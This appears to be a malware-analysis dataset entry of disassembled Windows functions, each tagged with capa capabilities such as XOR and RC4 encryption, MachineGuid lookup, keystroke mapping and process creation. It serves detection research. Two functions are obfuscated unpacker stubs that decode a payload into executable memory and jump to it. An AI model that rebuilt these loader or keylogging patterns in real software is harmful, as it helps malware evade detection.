joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b8b0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 0xc]
shr ecx, 2
mov eax, ecx
dec ecx
mov esi, dword [ebp + 8]
mov edx, dword [ebp - 4]
test eax, eax
je 0x42b93b
inc ecx
mov ebx, dword [esi]
add esi, 4
mov eax, ebx
shr ebx, 8
xor eax, edx
and eax, 0xff
shr edx, 8
mov edi, dword [eax*4 + 0x448f98]
xor edx, edi
mov eax, ebx
shr ebx, 8
xor eax, edx
and eax, 0xff
shr edx, 8
mov edi, dword [eax*4 + 0x448f98]
xor edx, edi
mov eax, ebx
shr ebx, 8
xor eax, edx
and eax, 0xff
shr edx, 8
mov edi, dword [eax*4 + 0x448f98]
xor edx, edi
mov eax, ebx
xor eax, edx
and eax, 0xff
shr edx, 8
mov edi, dword [eax*4 + 0x448f98]
xor edx, edi
dec ecx
jne 0x42b8d6
mov dword [ebp - 4], edx
mov dword [ebp - 8], esi
mov ebx, dword [ebp - 0x10]
and ebx, 3
je 0x42b978
mov edx, dword [ebp - 4]
mov esi, dword [ebp - 8]
nop
movzx ecx, byte [esi]
movzx eax, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x448f98]
inc esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], esi
dec ebx
jne 0x42b950
mov eax, dword [ebp + 0xc]
pop edi
pop esi
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
pop esi
mov dword [ecx], eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42bac0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x448034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push str.IsWow64Process
xor esi, esi
push 0x44188c
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov dword [ebp - 8], esi
test edi, edi
je 0x42bb2a
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x42bb2a
cmp dword [ebp - 8], esi
je 0x42bb2a
lea eax, [ebp - 0x14]
push eax
push 0x20119
jmp 0x42bb33
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x42bb6c
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
push 0
push str.MachineGuid
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, 1
test eax, eax
cmove esi, ecx
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x42bb7a
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042ef5e
mov esp, ebp
pop ebp
ret
Function at 0x42cc60
Capabilities:
Check if file exists
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43415b
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x448034]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x42cdd2
push 0x439238
lea eax, [ebp - 0x154]
push esi
push eax
mov dword [ebp - 0x154], 0
call dword [sym.imp.MSVCR110.dll__wfopen_s]
mov esi, dword [ebp - 0x154]
add esp, 0xc
test esi, esi
je 0x42cdd2
push 0x103
lea eax, [ebp - 0x11b]
push 0
push eax
mov byte [ebp - 0x11c], 0
call sub.MSVCR110.dll_memset
add esp, 0xc
lea eax, [ebp - 0x11c]
push esi
push 0x104
push 1
push eax
call dword [sym.imp.MSVCR110.dll_fread]
push dword [ebp - 0x154]
mov esi, eax
call dword [sym.imp.MSVCR110.dll_fclose]
add esp, 0x14
test esi, esi
je 0x42cdd2
lea ecx, [ebp - 0x11c]
call fcn.0042e820
mov esi, eax
test esi, esi
je 0x42cdd2
push esi
lea ecx, [ebp - 0x14c]
call fcn.00402620
lea edx, [ebp - 0x14c]
lea ecx, [ebp - 0x134]
mov dword [ebp - 4], 0
call fcn.0042eb20
lea ecx, [ebp - 0x14c]
call fcn.00402680
push esi
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 4
cmp dword [ebp - 0x120], 8
lea eax, [ebp - 0x134]
cmovae eax, dword [ebp - 0x134]
push eax
lea ecx, [ebp - 0x150]
mov dword [ebp - 0x150], 0
call fcn.0042cb10
test al, al
je 0x42cdc7
cmp dword [ebp - 0x120], 8
lea eax, [ebp - 0x134]
cmovae eax, dword [ebp - 0x134]
push eax
mov edx, 0x208
mov ecx, edi
call fcn.00407380
lea ecx, [ebp - 0x134]
call fcn.00402800
mov al, 1
jmp 0x42cde7
lea ecx, [ebp - 0x134]
call fcn.00402800
push ecx
push 0x441a84
push ecx
mov edx, 0x104
mov ecx, edi
call fcn.00407420
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042ef5e
mov esp, ebp
pop ebp
ret 0xc

Function at 0x42d3a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov edi, eax
cmp edi, 0xffffffff
jne 0x42d3d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov dword [esp + 8], esi
call fcn.00430940
mov dword [esp + 0xc], eax
test esi, esi
jne 0x42d3d9
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0x441c70
lea ecx, [esp + 8]
call fcn.0042d240
int3
Function at 0x42d5d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434360
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x448034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.MSVCR110.dll_public:_void___thiscall_std::exception::constructor_class_std::exception_const__]
mov dword [ebp - 4], 0
mov dword [esi], vtable.boost::system::system_error.0
mov eax, dword [edi + 0xc]
mov dword [esi + 0xc], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x14]
push 0xffffffffffffffff
push 0
lea eax, [edi + 0x14]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402a20
mov dword [ebp - 4], 1
mov dword [esi + 0x2c], vtable.boost::exception.0
mov ecx, dword [edi + 0x30]
mov dword [esi + 0x30], ecx
test ecx, ecx
je 0x42d65b
mov eax, dword [ecx]
call dword [eax + 0xc]
mov eax, dword [edi + 0x34]
mov dword [esi + 0x34], eax
mov eax, dword [edi + 0x38]
mov dword [esi + 0x38], eax
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov dword [esi], vtable.boost::exception_detail::error_info_injector_class_boost::system::system_error_.1.0
mov dword [esi + 0x2c], vtable.boost::exception_detail::error_info_injector_class_boost::system::system_error_.0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x42e260
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x434388
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x448034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.MSVCR110.dll_public:_void___thiscall_std::exception::constructor_class_std::exception_const__]
mov dword [ebp - 4], 0
mov dword [edi], vtable.boost::system::system_error.0
mov eax, dword [esi + 0xc]
mov dword [edi + 0xc], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
lea ecx, [edi + 0x14]
push 0xffffffffffffffff
push 0
lea eax, [esi + 0x14]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00402a20
mov dword [edi + 0x2c], vtable.boost::exception.0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0xffffffff
mov dword [edi], vtable.boost::exception_detail::error_info_injector_class_boost::system::system_error_.1.0
mov dword [edi + 0x2c], vtable.boost::exception_detail::error_info_injector_class_boost::system::system_error_.0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x42e8f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, ecx
push esi
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
test eax, eax
je 0x42e9c9
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x42e9c9
push edi
push 0x100
call fcn.0042ec57
mov edx, dword [ebp + 0xc]
mov edi, eax
push edi
call fcn.0042e9d0
add esp, 8
test eax, eax
jne 0x42e935
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0xc]
push ebx
xor ebx, ebx
xor ecx, ecx
test eax, eax
jle 0x42e9ad
sub dword [ebp - 4], esi
mov dword [ebp - 8], eax
inc ebx
and ebx, 0x800000ff
jns 0x42e958
dec ebx
or ebx, 0xffffff00
inc ebx
mov dl, byte [ebx + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x42e970
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + edi]
mov byte [ebx + edi], al
mov dword [ebp - 0x10], ecx
mov byte [ecx + edi], dl
movzx ecx, byte [ebx + edi]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x42e996
dec ecx
or ecx, 0xffffff00
inc ecx
movzx eax, byte [ecx + edi]
mov ecx, dword [ebp - 4]
inc esi
xor al, byte [ecx + esi - 1]
dec dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
mov byte [esi - 1], al
jne 0x42e947
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 0xc]
push edi
mov dword [eax], edx
call dword [sym.imp.MSVCR110.dll_void___cdecl_operator_delete___void__]
add esp, 4
or eax, 0xffffffff
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x42e9d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [ebp + 8]
mov ecx, edx
xor eax, eax
mov dword [ebp - 8], ecx
test esi, esi
je 0x42ea44
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x42e9e5
push ebx
push edi
mov dword [ebp - 4], 0
xor edi, edi
jmp 0x42ea00
mov eax, edi
cdq
idiv ecx
mov bl, byte [edi + esi]
movzx ecx, bl
movzx eax, byte [edx + str._______UDPARC4KEYFORHARDKORE1.0.0PACKET1234567890Talkwithfriends_family_orteammatesoverafastandclearconnectionAbilitytousetextchatforanyonewithoutamicrophoneNativeclientandserversupportforall3majorplatformsAutomaticmicrophonevolumenormalizationAd]
add eax, dword [ebp - 4]
add ecx, eax
and ecx, 0x800000ff
jns 0x42ea27
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [ecx + esi]
mov byte [edi + esi], al
inc edi
mov dword [ebp - 4], ecx
mov byte [ecx + esi], bl
mov ecx, dword [ebp - 8]
cmp edi, 0x100
jl 0x42ea00
pop edi
or eax, 0xffffffff
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009e13
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10009e22
pop dword [ebp - 0x2c]
mov eax, 0x4b9fa061
sub eax, 0x3b9f023f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x76c68138
sub dword [ebp - 0x3c], 0x28743bed
mov dword [ebp - 0x38], 0xa4c82801
sub dword [ebp - 0x38], 0x7294dbbc
mov dword [ebp - 0x34], 0xc675267c
sub dword [ebp - 0x34], 0x7a28e24e
mov dword [ebp - 0x30], 0xd7a2a4e9
sub dword [ebp - 0x30], 0xd7a2a4e9
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x1e751a17
sub dword [ebp - 0x3c], 0xaa02b0c1
mov dword [ebp - 0x38], 0xe30f8ce6
sub dword [ebp - 0x38], 0xa1a32b71
mov dword [ebp - 0x34], 0x222223d3
add dword [ebp - 0x34], 0x414d4899
mov dword [ebp - 0x30], 0x22d1cf1d
add dword [ebp - 0x30], 0xdd2e30e3
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0xf338277e
sub eax, 0xe333d6c6
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x48629
push 0
call eax
mov ecx, 0x3fe9
mov edi, eax
mov ebx, 0x594965c1
sub ebx, 0x494215c1
add ebx, dword [ebp - 0x2c]
mov edx, 0x5cacab1d
sub edx, 0xc409f08a
sub dword [ebp - 0x10], ebx
mov esi, dword [ebx]
sub dword [ebp - 8], ecx
sub esi, edx
xor dword [ebp - 0x1c], 0xb38df182
mov dword [edi], esi
mov dword [ebp - 8], 0x14b42fd9
add edi, 0x6b1073bd
add edi, 0x94ef8c47
add ebx, 0x59722ae6
sub ebx, 0x59722ae2
loop 0x10009f39
add eax, 0x9233e192
add eax, 0x6dcd10e5
xor ebx, ebx
add ebx, eax
add eax, 0x5e57de19
sub eax, 0x5e57de14
mov ecx, 0x70f9d339
add ecx, 0x9f062cc7
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x403e59
pop dword [ebp - 0x1c]
mov eax, 0x8473b3d6
sub eax, 0x8433757d
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x7a41a62
sub dword [ebp - 0x2c], 0xb951d517
mov dword [ebp - 0x28], 0xd1aeb7fc
add dword [ebp - 0x28], 0x60849449
mov dword [ebp - 0x24], 0x268304e2
add dword [ebp - 0x24], 0x25c93f4c
mov dword [ebp - 0x20], 0xd873be94
sub dword [ebp - 0x20], 0xd873be94
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x25b0573
add dword [ebp - 0x2c], 0x721763e3
mov dword [ebp - 0x28], 0xd0ea1856
add dword [ebp - 0x28], 0x7082491f
mov dword [ebp - 0x24], 0x1a109565
sub dword [ebp - 0x24], 0xb6a128f9
mov dword [ebp - 0x20], 0xf10c477f
sub dword [ebp - 0x20], 0xf10c477f
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x22478557
add eax, 0xddf8fb7d
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3955d
push 0
call eax
mov ecx, 0x7cee271b
sub ecx, 0x7cedd4c1
xor edi, edi
add edi, eax
mov ebx, 0x2a1a43cf
add ebx, 0xd626cc31
add ebx, dword [ebp - 0x1c]
mov esi, 0x875c2194
add esi, 0x67dac733
mov dword [ebp - 0xc], 0xdf64084
mov edx, dword [ebx]
sub dword [ebp - 0x14], ebx
add edx, esi
mov dword [ebp - 4], 0xd3bb4410
mov dword [edi], edx
xor dword [ebp - 0x18], 0x556a6cb3
add edi, 0xc74e9d79
add edi, 0x38b1628b
add ebx, 4
loop 0x403f78
add eax, 0x40c28cf
add eax, 0xfbf5136c
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401640
Capabilities:
Accept command line arguments

Disassembly:
push 0xffffffffffffffff
push 0x4b5198
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea ecx, [esp + 4]
call fcn.0049d14a
push 0x4da114
lea ecx, [esp + 4]
mov dword [esp + 0x10], 0
call fcn.004966df
or ecx, 0xffffffff
cmp eax, ecx
mov dword [esp + 0xc], ecx
lea ecx, [esp]
je 0x4016a4
call fcn.0049d0dc
mov eax, 1
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
call fcn.0049d0dc
mov ecx, dword [esp + 4]
xor eax, eax
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4029a0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x414
push ebx
push esi
call fcn.00407fa0
test eax, eax
jne 0x4029bf
pop esi
mov eax, 1
pop ebx
add esp, 0x414
ret
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
push 1
push 8
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x402a2d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3f0
je 0x402a0c
pop esi
xor eax, eax
pop ebx
add esp, 0x414
ret
lea ecx, [esp + 0x10]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402a2d
pop esi
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x20]
push 0x400
push eax
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov edx, dword [esp + 0x10]
mov esi, eax
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
jne 0x402a65
pop esi
xor eax, eax
pop ebx
add esp, 0x414
ret
lea eax, [esp + 0x14]
lea ecx, [esp + 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x402a91
pop esi
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x1c]
push ebp
xor ebp, ebp
xor esi, esi
cmp eax, ebx
push edi
jbe 0x402aca
mov ebx, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea edi, [esp + 0x28]
mov edx, dword [edi]
mov eax, dword [esp + 0x1c]
push edx
push eax
call ebx
test eax, eax
jne 0x402ac5
mov eax, dword [esp + 0x24]
inc esi
add edi, 8
cmp esi, eax
jb 0x402aa9
jmp 0x402aca
mov ebp, 1
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, ebp
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x414
ret
Function at 0x402af0
Capabilities:
Compare security identifiers

Disassembly:
sub esp, 0x414
push ebx
push esi
call fcn.00407fa0
test eax, eax
jne 0x402b0f
pop esi
mov eax, 1
pop ebx
add esp, 0x414
ret
lea eax, [esp + 0x14]
xor ebx, ebx
push eax
push 8
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], bl
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], bl
mov byte [esp + 0x14], bl
mov byte [esp + 0x15], 5
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x402b4b
pop esi
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push 0x400
push edx
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [esp + 0x14]
mov esi, eax
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
jne 0x402b83
pop esi
xor eax, eax
pop ebx
add esp, 0x414
ret
lea edx, [esp + 0x10]
lea eax, [esp + 8]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x402baf
pop esi
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x1c]
push ebp
xor ebp, ebp
xor esi, esi
cmp eax, ebx
push edi
jbe 0x402be8
mov ebx, dword [sym.imp.ADVAPI32.dll_EqualSid]
lea edi, [esp + 0x28]
mov ecx, dword [edi]
mov edx, dword [esp + 0x18]
push ecx
push edx
call ebx
test eax, eax
jne 0x402be3
mov eax, dword [esp + 0x24]
inc esi
add edi, 8
cmp esi, eax
jb 0x402bc7
jmp 0x402be8
mov ebp, 1
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, ebp
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x414
ret

Function at 0x402c60
Capabilities:
Create process on windows

Disassembly:
push ecx
mov dword [esp], 0
call fcn.00407fa0
test eax, eax
jne 0x402ca3
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push ecx
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop ecx
ret
call fcn.00402d00
test eax, eax
jne 0x402cae
pop ecx
ret
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
mov eax, dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x28]
push eax
push ecx
push edx
call dword [0x4ea964]
neg eax
sbb eax, eax
neg eax
pop ecx
ret
Function at 0x403290
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4b5352
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00438910
xor ebx, ebx
mov dword [esi + 0x20], ebx
mov eax, dword [0x4c2f74]
mov dword [esi + 0x28], eax
mov ecx, dword [0x4c2f74]
mov dword [esp + 0x18], ebx
mov dword [esi + 0x2c], ecx
lea ecx, [esi + 0x30]
mov byte [esp + 0x18], 1
call fcn.004026b0
lea edi, [esi + 0x48]
push ebx
mov ecx, edi
mov byte [esp + 0x1c], 2
call fcn.0041457b
lea edx, [edi + 8]
mov dword [edi], 0x4bbd10
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push ebx
push edi
lea ecx, [esi + 0x68]
mov byte [esp + 0x20], 3
call fcn.00414762
mov dword [esi + 0x88], ebx
mov eax, dword [0x4dbb94]
mov dword [esi + 0x8c], eax
lea ecx, [esi + 0x98]
mov byte [esp + 0x18], 5
mov dword [esi + 0x90], ebx
mov dword [esi + 0x94], ebx
call fcn.00433d20
lea edx, [esi + 0x74]
xor ecx, ecx
mov dword [esi], 0x4bbd00
mov dword [esi + 0x1c], ebx
mov dword [edx], ecx
mov eax, esi
pop edi
mov dword [edx + 4], ecx
mov dword [edx + 8], ecx
mov dword [edx + 0xc], ecx
mov dword [edx + 0x10], ecx
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x24], ebx
mov dword [esi + 0xcc], ebx
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x403470
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4b53db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x4bbd00
mov dword [esp + 0x18], 6
call fcn.00406530
lea ecx, [esi + 0x98]
mov byte [esp + 0x18], 5
call fcn.00433e40
lea ecx, [esi + 0x8c]
mov byte [esp + 0x18], 4
call fcn.0049d0dc
lea ecx, [esi + 0x68]
mov byte [esp + 0x18], 3
call fcn.0041479e
lea edi, [esi + 0x48]
mov byte [esp + 0x18], 2
lea eax, [edi + 8]
mov dword [edi], 0x4bbd10
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov ecx, edi
call fcn.004145a6
lea ecx, [esi + 0x30]
mov byte [esp + 0x18], 1
call fcn.004026f0
lea edi, [esi + 0x24]
mov dword [esp + 0xc], edi
lea ecx, [edi + 8]
mov byte [esp + 0x18], 7
call fcn.0043f140
lea ecx, [edi + 4]
mov byte [esp + 0x18], 0
call fcn.0043f140
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.004389a0
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret